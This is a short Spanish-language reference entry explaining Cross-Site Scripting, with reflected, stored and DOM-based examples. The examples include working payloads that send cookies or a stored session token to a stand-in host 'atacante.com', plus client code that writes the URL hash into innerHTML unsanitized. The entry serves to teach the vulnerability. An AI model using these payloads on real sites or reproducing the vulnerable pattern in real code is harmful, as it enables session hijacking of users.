XSS
AltoCross-Site Scripting
Definición
Cross-Site Scripting (XSS) es una vulnerabilidad que permite a un atacante inyectar código JavaScript malicioso en páginas web vistas por otros usuarios. El navegador de la víctima ejecuta el script creyendo que proviene de una fuente legítima, lo que permite robar cookies, tokens de sesión o redirigir al usuario a sitios maliciosos.
Impacto
Ejemplos
XSS Reflejado básico
El parámetro de búsqueda se refleja directamente en el HTML sin sanitización. El navegador ejecuta el script y envía las cookies al servidor del atacante.
<!-- URL maliciosa --> https://ejemplo.com/buscar?q=<script>document.location='https://atacante.com/robar?c='+document.cookie</script> <!-- El servidor refleja el parámetro sin sanitizar --> <p>Resultados para: <script>document.location='https://atacante.com/robar?c='+document.cookie</script></p>
XSS Almacenado en comentarios
Un atacante publica un comentario con código malicioso que se almacena en la base de datos. Cada vez que otro usuario carga la página, el script se ejecuta automáticamente.
<!-- Comentario malicioso almacenado en la base de datos -->
<img src=x onerror="fetch('https://atacante.com/steal?token='+localStorage.getItem('token'))">XSS basado en DOM
El JavaScript del lado del cliente toma datos de una fuente controlable por el usuario (como el hash de la URL) y los inserta en el DOM sin sanitizar, todo sin interacción con el servidor.
// Código vulnerable en el cliente
const hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;
// URL de ataque
https://ejemplo.com/page#<img src=x onerror=alert(document.cookie)>